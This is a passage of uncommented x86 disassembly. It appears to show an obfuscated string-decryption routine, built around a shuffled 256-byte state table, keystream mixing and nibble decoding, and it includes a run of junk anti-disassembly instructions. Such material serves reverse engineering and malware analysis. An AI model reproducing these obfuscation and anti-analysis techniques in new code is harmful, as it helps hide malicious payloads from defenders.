movss xmm0, dword [ebp - 0x50c]
addss xmm0, dword [ebp - 0x710]
movss dword [ebp - 0x50c], xmm0
movsd xmm0, qword [0xa6c9c0]
mulsd xmm0, qword [ebp - 0x7cc]
mulsd xmm0, qword [ebp - 0x7cc]
movsd xmm1, qword [ebp - 0x7cc]
mulsd xmm1, qword [ebp - 0x7cc]
subsd xmm0, xmm1
movsd xmm1, qword [0xa6a798]
mulsd xmm1, qword [ebp - 0x7cc]
mulsd xmm1, qword [ebp - 0x7cc]
addsd xmm1, qword [0xa697b0]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x7f8]
movsd qword [ebp - 0x7f8], xmm0
movsd xmm0, qword [ebp - 0x7f8]
comisd xmm0, xmmword [0xa6c980]
jbe 0x56f81b
movsd xmm0, qword [0xa6c918]
mulsd xmm0, qword [ebp - 0x7cc]
movsd xmm1, qword [ebp - 0x7f8]
subsd xmm1, xmm0
movsd qword [ebp - 0x7f8], xmm1
jmp 0x56f40a
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x7f8]
jbe 0x56f85a
pushfd
salc
wait
rcl dword [ecx + edx*8 - 0x2a612d62]
xchg edi, eax
salc
push eax
pop esi
pop edx
dec edx
pop esp
cmp eax, dword [edx + 0x34]
push edx
and eax, 0x71256349
pushal
and dl, byte [ebp + 0x24]
jne 0x56f8bf
pop ecx
xor al, 0x6b
pop ebx
jne 0x56f8a9
dec eax
jmp 0x570ae1
mov dword [ebp - 0x494], 0x56f82d
mov dword [ebp - 0x48c], 0x56f839
mov eax, dword [ebp - 0x494]
mov dword [ebp - 0x62c], eax
mov eax, dword [ebp - 0x48c]
mov dword [ebp - 0xa3c], eax
mov byte [ebp - 0x679], 0x20
and dword [ebp - 0x540], 0
jmp 0x56f8a3
mov eax, dword [ebp - 0x540]
inc eax
mov dword [ebp - 0x540], eax
cmp dword [ebp - 0x540], 0x100
add byte [ecx], al
add byte [eax], al
jae 0x56f8c4
mov eax, dword [ebp - 0x540]
mov cl, byte [ebp - 0x540]
mov byte [ebp + eax - 0xb40], cl
jmp 0x56f896
hlt
and dword [ebp - 0x794], 0
mov byte [ebp - 0x4ca], 0
mov dword [ebp - 0x540], 0xff
jmp 0x56f8eb
mov eax, dword [ebp - 0x540]
dec eax
mov dword [ebp - 0x540], eax
cmp dword [ebp - 0x540], 0
jbe 0x56fb70
and dword [ebp - 0x8b0], 0
mov dword [ebp - 0x848], 1
mov eax, dword [ebp - 0x848]
cmp eax, dword [ebp - 0x540]
jae 0x56f929
mov eax, dword [ebp - 0x848]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x848], eax
jmp 0x56f909
mov eax, dword [ebp - 0x794]
mov dword [ebp - 0xb44], eax
mov eax, dword [ebp - 0xb44]
mov dword [ebp - 0x620], eax
cmp dword [ebp - 0x620], 0
je 0x56f96e
sub dword [ebp - 0x620], 1
je 0x56f99c
sub dword [ebp - 0x620], 1
je 0x56f9cd
sub dword [ebp - 0x620], 1
je 0x56f9fb
jmp 0x56fa29
movzx eax, byte [ebp - 0x4ca]
movzx ebx, byte [ebp + eax - 0xb40]
movsd xmm0, qword [ebp - 0x7f8]
call fcn.009eca90
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x4ca], bl
jmp 0x56fa50
movzx eax, byte [ebp - 0x4ca]
movzx ebx, byte [ebp + eax - 0xb40]
movsd xmm0, qword [ebp - 0x7f8]
call fcn.009eca90
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x4ca], bl
jmp 0x56fa50
movzx eax, byte [ebp - 0x4ca]
movzx ebx, byte [ebp + eax - 0xb40]
movsd xmm0, qword [ebp - 0x7f8]
call fcn.009eca90
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x4ca], bl
jmp 0x56fa50
movzx eax, byte [ebp - 0x4ca]
movzx ebx, byte [ebp + eax - 0xb40]
movsd xmm0, qword [ebp - 0x7f8]
call fcn.009eca90
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x4ca], bl
jmp 0x56fa50
movzx eax, byte [ebp - 0x4ca]
movzx eax, byte [ebp + eax - 0xb40]
mov ecx, dword [ebp - 0xa3c]
add ecx, dword [ebp - 0x794]
movzx ecx, byte [ecx - 4]
add eax, ecx
mov byte [ebp - 0x4ca], al
mov eax, dword [ebp - 0x794]
inc eax
mov dword [ebp - 0x794], eax
movzx eax, byte [ebp - 0x679]
cmp dword [ebp - 0x794], eax
jb 0x56fa89
and dword [ebp - 0x794], 0
movzx eax, byte [ebp - 0x679]
movzx ecx, byte [ebp - 0x4ca]
add ecx, eax
mov byte [ebp - 0x4ca], cl
movzx eax, byte [ebp - 0x4ca]
and eax, dword [ebp - 0x848]
mov dword [ebp - 0x740], eax
mov eax, dword [ebp - 0x8b0]
inc eax
mov dword [ebp - 0x8b0], eax
cmp dword [ebp - 0x8b0], 0xb
jbe 0x56fac6
mov eax, dword [ebp - 0x740]
xor edx, edx
div dword [ebp - 0x540]
mov dword [ebp - 0x740], edx
mov eax, dword [ebp - 0x740]
cmp eax, dword [ebp - 0x540]
ja 0x56f929
mov eax, dword [ebp - 0x540]
cmp eax, dword [ebp - 0x740]
je 0x56fb6b
mov eax, dword [ebp - 0x740]
movzx eax, byte [ebp + eax - 0xb40]
mov ecx, dword [ebp - 0x540]
movzx ecx, byte [ebp + ecx - 0xb40]
xor ecx, eax
mov eax, dword [ebp - 0x540]
mov byte [ebp + eax - 0xb40], cl
mov eax, dword [ebp - 0x540]
movzx eax, byte [ebp + eax - 0xb40]
mov ecx, dword [ebp - 0x740]
movzx ecx, byte [ebp + ecx - 0xb40]
xor ecx, eax
mov eax, dword [ebp - 0x740]
mov byte [ebp + eax - 0xb40], cl
mov eax, dword [ebp - 0x740]
movzx eax, byte [ebp + eax - 0xb40]
mov ecx, dword [ebp - 0x540]
movzx ecx, byte [ebp + ecx - 0xb40]
xor ecx, eax
mov eax, dword [ebp - 0x540]
mov byte [ebp + eax - 0xb40], cl
jmp 0x56f8de
xor eax, eax
inc eax
shl eax, 0
mov al, byte [ebp + eax - 0xb40]
mov byte [ebp - 0x4a8], al
xor eax, eax
inc eax
imul eax, eax, 3
mov al, byte [ebp + eax - 0xb40]
mov byte [ebp - 0x4ad], al
xor eax, eax
inc eax
imul eax, eax, 5
mov al, byte [ebp + eax - 0xb40]
mov byte [ebp - 0x4bc], al
xor eax, eax
inc eax
imul eax, eax, 7
mov al, byte [ebp + eax - 0xb40]
mov byte [ebp - 0x4ac], al
movzx eax, byte [ebp - 0x4ca]
mov al, byte [ebp + eax - 0xb40]
mov byte [ebp - 0x4b2], al
mov dword [ebp - 0x8d0], 0xc
cmp dword [ebp - 0x8d0], 2
jle 0x570a95
mov eax, dword [ebp - 0x8d0]
and eax, 1
jne 0x570a95
and dword [ebp - 0x4dc], 0
and dword [ebp - 0x624], 0
mov eax, dword [ebp - 0x624]
inc eax
mov dword [ebp - 0x624], eax
and dword [ebp - 0x628], 0
mov eax, dword [ebp - 0x4dc]
shl eax, 1
mov dword [ebp - 0x628], eax
and dword [ebp - 0x5c8], 0
mov eax, dword [ebp - 0x62c]
add eax, dword [ebp - 0x628]
movzx eax, byte [eax]
add eax, dword [ebp - 0x5c8]
mov dword [ebp - 0x5c8], eax
and dword [ebp - 0x5d8], 0
mov eax, dword [ebp - 0x5d8]
add eax, 0x90
mov dword [ebp - 0x5d8], eax
and dword [ebp - 0x63c], 0
mov eax, dword [ebp - 0x4dc]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x63c], eax
and dword [ebp - 0x5dc], 0
mov eax, dword [ebp - 0x62c]
add eax, dword [ebp - 0x63c]
movzx eax, byte [eax]
add eax, dword [ebp - 0x5dc]
mov dword [ebp - 0x5dc], eax
and dword [ebp - 0x5e0], 0
mov eax, dword [ebp - 0x5e0]
add eax, 0xcd
mov dword [ebp - 0x5e0], eax
and dword [ebp - 0x5e4], 0
mov eax, dword [ebp - 0x5c8]
sub eax, dword [ebp - 0x5d8]
add eax, dword [ebp - 0x5e4]
mov dword [ebp - 0x5e4], eax
and dword [ebp - 0x5c4], 0
mov eax, dword [ebp - 0x5dc]
sub eax, dword [ebp - 0x5e0]
add eax, dword [ebp - 0x5c4]
mov dword [ebp - 0x5c4], eax
and dword [ebp - 0x630], 0
mov eax, dword [ebp - 0x5e4]
shl eax, 4
mov dword [ebp - 0x630], eax
and dword [ebp - 0x634], 0
mov eax, dword [ebp - 0x5c4]
mov dword [ebp - 0x634], eax
and dword [ebp - 0x638], 0
mov eax, dword [ebp - 0x630]
or eax, dword [ebp - 0x634]
mov dword [ebp - 0x638], eax
mov byte [ebp - 0x4bb], 0
mov al, byte [ebp - 0x638]
mov byte [ebp - 0x4bb], al
mov byte [ebp - 0x4bd], 0
movzx eax, byte [ebp - 0x4b2]
mov al, byte [ebp + eax - 0xb40]
mov byte [ebp - 0x4bd], al
movzx eax, byte [ebp - 0x4a8]
movzx eax, byte [ebp + eax - 0xb40]
movzx ecx, byte [ebp - 0x4ad]
add ecx, eax
mov byte [ebp - 0x4ad], cl
mov al, byte [ebp - 0x4a8]
add al, 1
mov byte [ebp - 0x4a8], al
movzx eax, byte [ebp - 0x4ad]
movzx ecx, byte [ebp - 0x4b2]
mov al, byte [ebp + eax - 0xb40]
mov byte [ebp + ecx - 0xb40], al
movzx eax, byte [ebp - 0x4ac]
movzx ecx, byte [ebp - 0x4ad]
mov al, byte [ebp + eax - 0xb40]
mov byte [ebp + ecx - 0xb40], al
movzx eax, byte [ebp - 0x4a8]
movzx ecx, byte [ebp - 0x4ac]
mov al, byte [ebp + eax - 0xb40]
mov byte [ebp + ecx - 0xb40], al
movzx eax, byte [ebp - 0x4a8]
mov cl, byte [ebp - 0x4bd]
mov byte [ebp + eax - 0xb40], cl
movzx eax, byte [ebp - 0x4bd]
movzx eax, byte [ebp + eax - 0xb40]
movzx ecx, byte [ebp - 0x4bc]
add ecx, eax
mov byte [ebp - 0x4bc], cl
movzx eax, byte [ebp - 0x4bb]
movzx ecx, byte [ebp - 0x4ad]
movzx ecx, byte [ebp + ecx - 0xb40]
movzx edx, byte [ebp - 0x4a8]
movzx edx, byte [ebp + edx - 0xb40]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xb40]
xor eax, ecx
movzx ecx, byte [ebp - 0x4ac]
movzx ecx, byte [ebp + ecx - 0xb40]
movzx edx, byte [ebp - 0x4b2]
movzx edx, byte [ebp + edx - 0xb40]
add ecx, edx
movzx edx, byte [ebp - 0x4bc]
movzx edx, byte [ebp + edx - 0xb40]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xb40]
movzx ecx, byte [ebp + ecx - 0xb40]
xor eax, ecx
mov byte [ebp - 0x4ac], al
mov al, byte [ebp - 0x4bb]
mov byte [ebp - 0x4b2], al
mov al, byte [ebp - 0x4ac]
mov byte [ebp - 0x4d5], al
cmp dword [ebp - 0x4dc], 0
jle 0x56fecb
movsx ax, byte [ebp - 0x4d5]
mov ecx, dword [ebp - 0x4dc]
mov word [ebp + ecx*2 - 0x3a], ax
mov eax, dword [ebp - 0x4dc]
inc eax
mov dword [ebp - 0x4dc], eax
mov eax, dword [ebp - 0x624]
inc eax
mov dword [ebp - 0x624], eax
mov eax, dword [ebp - 0x4dc]
shl eax, 1
mov dword [ebp - 0x628], eax
mov eax, dword [ebp - 0x62c]
add eax, dword [ebp - 0x628]
movzx eax, byte [eax]
mov dword [ebp - 0x5c8], eax
mov dword [ebp - 0x5d8], 0x90
mov eax, dword [ebp - 0x4dc]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x63c], eax
mov eax, dword [ebp - 0x62c]
add eax, dword [ebp - 0x63c]
movzx eax, byte [eax]
mov dword [ebp - 0x5dc], eax
mov dword [ebp - 0x5e0], 0xcd
mov eax, dword [ebp - 0x5c8]
sub eax, dword [ebp - 0x5d8]
mov dword [ebp - 0x5e4], eax
mov eax, dword [ebp - 0x5dc]
sub eax, dword [ebp - 0x5e0]
mov dword [ebp - 0x5c4], eax
mov eax, dword [ebp - 0x5e4]
shl eax, 4
mov dword [ebp - 0x630], eax
mov eax, dword [ebp - 0x5c4]
mov dword [ebp - 0x634], eax
mov eax, dword [ebp - 0x630]
or eax, dword [ebp - 0x634]
mov dword [ebp - 0x638], eax
mov al, byte [ebp - 0x638]
mov byte [ebp - 0x4bb], al
movzx eax, byte [ebp - 0x4b2]
mov al, byte [ebp + eax - 0xb40]
mov byte [ebp - 0x4bd], al
movzx eax, byte [ebp - 0x4a8]
movzx eax, byte [ebp + eax - 0xb40]
movzx ecx, byte [ebp - 0x4ad]
add ecx, eax
mov byte [ebp - 0x4ad], cl
mov al, byte [ebp - 0x4a8]
add al, 1
mov byte [ebp - 0x4a8], al
movzx eax, byte [ebp - 0x4ad]
movzx ecx, byte [ebp - 0x4b2]
mov al, byte [ebp + eax - 0xb40]
mov byte [ebp + ecx - 0xb40], al
movzx eax, byte [ebp - 0x4ac]
movzx ecx, byte [ebp - 0x4ad]
mov al, byte [ebp + eax - 0xb40]
mov byte [ebp + ecx - 0xb40], al
movzx eax, byte [ebp - 0x4a8]
movzx ecx, byte [ebp - 0x4ac]
mov al, byte [ebp + eax - 0xb40]
mov byte [ebp + ecx - 0xb40], al
movzx eax, byte [ebp - 0x4a8]
mov cl, byte [ebp - 0x4bd]
mov byte [ebp + eax - 0xb40], cl
movzx eax, byte [ebp - 0x4bd]
movzx eax, byte [ebp + eax - 0xb40]
movzx ecx, byte [ebp - 0x4bc]
add ecx, eax
mov byte [ebp - 0x4bc], cl
movzx eax, byte [ebp - 0x4bb]
movzx ecx, byte [ebp - 0x4ad]
movzx ecx, byte [ebp + ecx - 0xb40]
movzx edx, byte [ebp - 0x4a8]
movzx edx, byte [ebp + edx - 0xb40]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xb40]
xor eax, ecx
movzx ecx, byte [ebp - 0x4ac]
movzx ecx, byte [ebp + ecx - 0xb40]
movzx edx, byte [ebp - 0x4b2]
movzx edx, byte [ebp + edx - 0xb40]
add ecx, edx
movzx edx, byte [ebp - 0x4bc]
movzx edx, byte [ebp + edx - 0xb40]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xb40]
movzx ecx, byte [ebp + ecx - 0xb40]
xor eax, ecx
mov byte [ebp - 0x4ac], al
mov al, byte [ebp - 0x4bb]
mov byte [ebp - 0x4b2], al
mov al, byte [ebp - 0x4ac]
mov byte [ebp - 0x4d5], al
cmp dword [ebp - 0x4dc], 0
jle 0x57011e
movsx ax, byte [ebp - 0x4d5]
mov ecx, dword [ebp - 0x4dc]
mov word [ebp + ecx*2 - 0x3a], ax
mov eax, dword [ebp - 0x4dc]
inc eax
mov dword [ebp - 0x4dc], eax
mov eax, dword [ebp - 0x624]
inc eax
mov dword [ebp - 0x624], eax
mov eax, dword [ebp - 0x4dc]
shl eax, 1
mov dword [ebp - 0x628], eax
mov eax, dword [ebp - 0x62c]
add eax, dword [ebp - 0x628]
movzx eax, byte [eax]
mov dword [ebp - 0x5c8], eax
mov dword [ebp - 0x5d8], 0x90
mov eax, dword [ebp - 0x4dc]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x63c], eax
mov eax, dword [ebp - 0x62c]
add eax, dword [ebp - 0x63c]
movzx eax, byte [eax]
mov dword [ebp - 0x5dc], eax
mov dword [ebp - 0x5e0], 0xcd
mov eax, dword [ebp - 0x5c8]
sub eax, dword [ebp - 0x5d8]
mov dword [ebp - 0x5e4], eax
mov eax, dword [ebp - 0x5dc]
sub eax, dword [ebp - 0x5e0]
mov dword [ebp - 0x5c4], eax
mov eax, dword [ebp - 0x5e4]
shl eax, 4
mov dword [ebp - 0x630], eax
mov eax, dword [ebp - 0x5c4]
mov dword [ebp - 0x634], eax
mov eax, dword [ebp - 0x630]
or eax, dword [ebp - 0x634]
mov dword [ebp - 0x638], eax
mov al, byte [ebp - 0x638]
mov byte [ebp - 0x4bb], al
movzx eax, byte [ebp - 0x4b2]
mov al, byte [ebp + eax - 0xb40]
mov byte [ebp - 0x4bd], al
movzx eax, byte [ebp - 0x4a8]
movzx eax, byte [ebp + eax - 0xb40]
movzx ecx, byte [ebp - 0x4ad]
add ecx, eax
mov byte [ebp - 0x4ad], cl
mov al, byte [ebp - 0x4a8]
add al, 1
mov byte [ebp - 0x4a8], al
movzx eax, byte [ebp - 0x4ad]
movzx ecx, byte [ebp - 0x4b2]
mov al, byte [ebp + eax - 0xb40]
mov byte [ebp + ecx - 0xb40], al
movzx eax, byte [ebp - 0x4ac]
movzx ecx, byte [ebp - 0x4ad]
mov al, byte [ebp + eax - 0xb40]
mov byte [ebp + ecx - 0xb40], al
movzx eax, byte [ebp - 0x4a8]
movzx ecx, byte [ebp - 0x4ac]
mov al, byte [ebp + eax - 0xb40]
mov byte [ebp + ecx - 0xb40], al
movzx eax, byte [ebp - 0x4a8]
mov cl, byte [ebp - 0x4bd]
mov byte [ebp + eax - 0xb40], cl
movzx eax, byte [ebp - 0x4bd]
movzx eax, byte [ebp + eax - 0xb40]
movzx ecx, byte [ebp - 0x4bc]
add ecx, eax
mov byte [ebp - 0x4bc], cl
movzx eax, byte [ebp - 0x4bb]
movzx ecx, byte [ebp - 0x4ad]
movzx ecx, byte [ebp + ecx - 0xb40]
movzx edx, byte [ebp - 0x4a8]
movzx edx, byte [ebp + edx - 0xb40]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xb40]
xor eax, ecx
movzx ecx, byte [ebp - 0x4ac]
movzx ecx, byte [ebp + ecx - 0xb40]
movzx edx, byte [ebp - 0x4b2]
movzx edx, byte [ebp + edx - 0xb40]
add ecx, edx
movzx edx, byte [ebp - 0x4bc]
movzx edx, byte [ebp + edx - 0xb40]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xb40]
movzx ecx, byte [ebp + ecx - 0xb40]
xor eax, ecx
mov byte [ebp - 0x4ac], al
mov al, byte [ebp - 0x4bb]
mov byte [ebp - 0x4b2], al
mov al, byte [ebp - 0x4ac]
mov byte [ebp - 0x4d5], al
cmp dword [ebp - 0x4dc], 0
jle 0x570371
movsx ax, byte [ebp - 0x4d5]
mov ecx, dword [ebp - 0x4dc]
mov word [ebp + ecx*2 - 0x3a], ax
mov eax, dword [ebp - 0x4dc]
inc eax
mov dword [ebp - 0x4dc], eax
mov eax, dword [ebp - 0x624]
inc eax
mov dword [ebp - 0x624], eax
mov eax, dword [ebp - 0x4dc]
shl eax, 1
mov dword [ebp - 0x628], eax
mov eax, dword [ebp - 0x62c]
add eax, dword [ebp - 0x628]
movzx eax, byte [eax]
mov dword [ebp - 0x5c8], eax
mov dword [ebp - 0x5d8], 0x90
mov eax, dword [ebp - 0x4dc]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x63c], eax
mov eax, dword [ebp - 0x62c]
add eax, dword [ebp - 0x63c]
movzx eax, byte [eax]
mov dword [ebp - 0x5dc], eax
mov dword [ebp - 0x5e0], 0xcd
mov eax, dword [ebp - 0x5c8]
sub eax, dword [ebp - 0x5d8]
mov dword [ebp - 0x5e4], eax
mov eax, dword [ebp - 0x5dc]
sub eax, dword [ebp - 0x5e0]
mov dword [ebp - 0x5c4], eax
mov eax, dword [ebp - 0x5e4]
shl eax, 4
mov dword [ebp - 0x630], eax
mov eax, dword [ebp - 0x5c4]
mov dword [ebp - 0x634], eax
mov eax, dword [ebp - 0x630]
or eax, dword [ebp - 0x634]
mov dword [ebp - 0x638], eax
mov al, byte [ebp - 0x638]
mov byte [ebp - 0x4bb], al
movzx eax, byte [ebp - 0x4b2]
mov al, byte [ebp + eax - 0xb40]
mov byte [ebp - 0x4bd], al
movzx eax, byte [ebp - 0x4a8]
movzx eax, byte [ebp + eax - 0xb40]
movzx ecx, byte [ebp - 0x4ad]
add ecx, eax
mov byte [ebp - 0x4ad], cl
mov al, byte [ebp - 0x4a8]
add al, 1
mov byte [ebp - 0x4a8], al
movzx eax, byte [ebp - 0x4ad]
movzx ecx, byte [ebp - 0x4b2]
mov al, byte [ebp + eax - 0xb40]
mov byte [ebp + ecx - 0xb40], al
movzx eax, byte [ebp - 0x4ac]
movzx ecx, byte [ebp - 0x4ad]
mov al, byte [ebp + eax - 0xb40]
mov byte [ebp + ecx - 0xb40], al
movzx eax, byte [ebp - 0x4a8]
movzx ecx, byte [ebp - 0x4ac]
mov al, byte [ebp + eax - 0xb40]
mov byte [ebp + ecx - 0xb40], al
movzx eax, byte [ebp - 0x4a8]
mov cl, byte [ebp - 0x4bd]
mov byte [ebp + eax - 0xb40], cl
movzx eax, byte [ebp - 0x4bd]
movzx eax, byte [ebp + eax - 0xb40]
movzx ecx, byte [ebp - 0x4bc]
add ecx, eax
mov byte [ebp - 0x4bc], cl
movzx eax, byte [ebp - 0x4bb]
movzx ecx, byte [ebp - 0x4ad]
movzx ecx, byte [ebp + ecx - 0xb40]
movzx edx, byte [ebp - 0x4a8]
movzx edx, byte [ebp + edx - 0xb40]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xb40]
xor eax, ecx
movzx ecx, byte [ebp - 0x4ac]
movzx ecx, byte [ebp + ecx - 0xb40]
movzx edx, byte [ebp - 0x4b2]
movzx edx, byte [ebp + edx - 0xb40]
add ecx, edx
movzx edx, byte [ebp - 0x4bc]
movzx edx, byte [ebp + edx - 0xb40]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xb40]
movzx ecx, byte [ebp + ecx - 0xb40]
xor eax, ecx
mov byte [ebp - 0x4ac], al
mov al, byte [ebp - 0x4bb]
mov byte [ebp - 0x4b2], al
mov al, byte [ebp - 0x4ac]
mov byte [ebp - 0x4d5], al
cmp dword [ebp - 0x4dc], 0
jle 0x5705c4
movsx ax, byte [ebp - 0x4d5]
mov ecx, dword [ebp - 0x4dc]
mov word [ebp + ecx*2 - 0x3a], ax
mov eax, dword [ebp - 0x4dc]
inc eax
mov dword [ebp - 0x4dc], eax
mov eax, dword [ebp - 0x624]
inc eax
mov dword [ebp - 0x624], eax
mov eax, dword [ebp - 0x4dc]
shl eax, 1
mov dword [ebp - 0x628], eax
mov eax, dword [ebp - 0x62c]
add eax, dword [ebp - 0x628]
movzx eax, byte [eax]
mov dword [ebp - 0x5c8], eax
mov dword [ebp - 0x5d8], 0x90
mov eax, dword [ebp - 0x4dc]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x63c], eax
mov eax, dword [ebp - 0x62c]
add eax, dword [ebp - 0x63c]
movzx eax, byte [eax]
mov dword [ebp - 0x5dc], eax
mov dword [ebp - 0x5e0], 0xcd
mov eax, dword [ebp - 0x5c8]
sub eax, dword [ebp - 0x5d8]
mov dword [ebp - 0x5e4], eax
mov eax, dword [ebp - 0x5dc]
sub eax, dword [ebp - 0x5e0]
mov dword [ebp - 0x5c4], eax
mov eax, dword [ebp - 0x5e4]
shl eax, 4
mov dword [ebp - 0x630], eax
mov eax, dword [ebp - 0x5c4]
mov dword [ebp - 0x634], eax
mov eax, dword [ebp - 0x630]
or eax, dword [ebp - 0x634]
mov dword [ebp - 0x638], eax
mov al, byte [ebp - 0x638]
mov byte [ebp - 0x4bb], al
movzx eax, byte [ebp - 0x4b2]
mov al, byte [ebp + eax - 0xb40]
mov byte [ebp - 0x4bd], al
movzx eax, byte [ebp - 0x4a8]
movzx eax, byte [ebp + eax - 0xb40]
movzx ecx, byte [ebp - 0x4ad]
add ecx, eax
mov byte [ebp - 0x4ad], cl
mov al, byte [ebp - 0x4a8]
add al, 1
mov byte [ebp - 0x4a8], al
movzx eax, byte [ebp - 0x4ad]
movzx ecx, byte [ebp - 0x4b2]
mov al, byte [ebp + eax - 0xb40]
mov byte [ebp + ecx - 0xb40], al
movzx eax, byte [ebp - 0x4ac]
movzx ecx, byte [ebp - 0x4ad]
mov al, byte [ebp + eax - 0xb40]
mov byte [ebp + ecx - 0xb40], al
movzx eax, byte [ebp - 0x4a8]
movzx ecx, byte [ebp - 0x4ac]
mov al, byte [ebp + eax - 0xb40]
mov byte [ebp + ecx - 0xb40], al
movzx eax, byte [ebp - 0x4a8]
mov cl, byte [ebp - 0x4bd]
mov byte [ebp + eax - 0xb40], cl
movzx eax, byte [ebp - 0x4bd]
movzx eax, byte [ebp + eax - 0xb40]
movzx ecx, byte [ebp - 0x4bc]
add ecx, eax
mov byte [ebp - 0x4bc], cl
movzx eax, byte [ebp - 0x4bb]
movzx ecx, byte [ebp - 0x4ad]
movzx ecx, byte [ebp + ecx - 0xb40]
movzx edx, byte [ebp - 0x4a8]
movzx edx, byte [ebp + edx - 0xb40]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xb40]
xor eax, ecx
movzx ecx, byte [ebp - 0x4ac]
movzx ecx, byte [ebp + ecx - 0xb40]
movzx edx, byte [ebp - 0x4b2]
movzx edx, byte [ebp + edx - 0xb40]
add ecx, edx
movzx edx, byte [ebp - 0x4bc]
movzx edx, byte [ebp + edx - 0xb40]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xb40]
movzx ecx, byte [ebp + ecx - 0xb40]
xor eax, ecx
mov byte [ebp - 0x4ac], al
mov al, byte [ebp - 0x4bb]
mov byte [ebp - 0x4b2], al
mov al, byte [ebp - 0x4ac]
mov byte [ebp - 0x4d5], al
cmp dword [ebp - 0x4dc], 0
jle 0x570817
movsx ax, byte [ebp - 0x4d5]
mov ecx, dword [ebp - 0x4dc]
mov word [ebp + ecx*2 - 0x3a], ax
mov eax, dword [ebp - 0x4dc]
inc eax
mov dword [ebp - 0x4dc], eax
mov eax, dword [ebp - 0x624]
inc eax
mov dword [ebp - 0x624], eax
mov eax, dword [ebp - 0x4dc]
shl eax, 1
mov dword [ebp - 0x628], eax
mov eax, dword [ebp - 0x62c]
add eax, dword [ebp - 0x628]
movzx eax, byte [eax]
mov dword [ebp - 0x5c8], eax
mov dword [ebp - 0x5d8], 0x90
mov eax, dword [ebp - 0x4dc]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x63c], eax
mov eax, dword [ebp - 0x62c]
add eax, dword [ebp - 0x63c]
movzx eax, byte [eax]
mov dword [ebp - 0x5dc], eax
mov dword [ebp - 0x5e0], 0xcd
mov eax, dword [ebp - 0x5c8]
sub eax, dword [ebp - 0x5d8]
mov dword [ebp - 0x5e4], eax
mov eax, dword [ebp - 0x5dc]
sub eax, dword [ebp - 0x5e0]
mov dword [ebp - 0x5c4], eax
mov eax, dword [ebp - 0x5e4]
shl eax, 4
mov dword [ebp - 0x630], eax
mov eax, dword [ebp - 0x5c4]
mov dword [ebp - 0x634], eax
mov eax, dword [ebp - 0x630]
or eax, dword [ebp - 0x634]
mov dword [ebp - 0x638], eax
mov al, byte [ebp - 0x638]
mov byte [ebp - 0x4bb], al
movzx eax, byte [ebp - 0x4b2]
mov al, byte [ebp + eax - 0xb40]
mov byte [ebp - 0x4bd], al
movzx eax, byte [ebp - 0x4a8]
movzx eax, byte [ebp + eax - 0xb40]
movzx ecx, byte [ebp - 0x4ad]
add ecx, eax
mov byte [ebp - 0x4ad], cl
mov al, byte [ebp - 0x4a8]
add al, 1
mov byte [ebp - 0x4a8], al
movzx eax, byte [ebp - 0x4ad]
movzx ecx, byte [ebp - 0x4b2]
mov al, byte [ebp + eax - 0xb40]
mov byte [ebp + ecx - 0xb40], al
movzx eax, byte [ebp - 0x4ac]
movzx ecx, byte [ebp - 0x4ad]
mov al, byte [ebp + eax - 0xb40]
mov byte [ebp + ecx - 0xb40], al
movzx eax, byte [ebp - 0x4a8]
movzx ecx, byte [ebp - 0x4ac]
mov al, byte [ebp + eax - 0xb40]
mov byte [ebp + ecx - 0xb40], al
movzx eax, byte [ebp - 0x4a8]
mov cl, byte [ebp - 0x4bd]
mov byte [ebp + eax - 0xb40], cl
movzx eax, byte [ebp - 0x4bd]
movzx eax, byte [ebp + eax - 0xb40]
movzx ecx, byte [ebp - 0x4bc]
add ecx, eax
mov byte [ebp - 0x4bc], cl
movzx eax, byte [ebp - 0x4bb]
movzx ecx, byte [ebp - 0x4ad]
movzx ecx, byte [ebp + ecx - 0xb40]
movzx edx, byte [ebp - 0x4a8]
movzx edx, byte [ebp + edx - 0xb40]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xb40]
xor eax, ecx
movzx ecx, byte [ebp - 0x4ac]
movzx ecx, byte [ebp + ecx - 0xb40]
movzx edx, byte [ebp - 0x4b2]
movzx edx, byte [ebp + edx - 0xb40]
add ecx, edx
movzx edx, byte [ebp - 0x4bc]
movzx edx, byte [ebp + edx - 0xb40]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xb40]
movzx ecx, byte [ebp + ecx - 0xb40]
xor eax, ecx
mov byte [ebp - 0x4ac], al
mov al, byte [ebp - 0x4bb]
mov byte [ebp - 0x4b2], al
mov al, byte [ebp - 0x4ac]
mov byte [ebp - 0x4d5], al
cmp dword [ebp - 0x4dc], 0
jle 0x570a6a
movsx ax, byte [ebp - 0x4d5]
mov ecx, dword [ebp - 0x4dc]
mov word [ebp + ecx*2 - 0x3a], ax
push 2
pop eax
imul eax, eax, 5
mov dword [ebp - 0x8cc], eax
cmp dword [ebp - 0x8cc], 0xc
jae 0x570a81
jmp 0x570a86
call fcn.009ec5b7
xor eax, eax
mov ecx, dword [ebp - 0x8cc]
mov word [ebp + ecx - 0x38], ax
jmp 0x570ae1
and dword [ebp - 0x84c], 0
jmp 0x570aab
mov eax, dword [ebp - 0x84c]
inc eax
mov dword [ebp - 0x84c], eax
cmp dword [ebp - 0x84c], 6
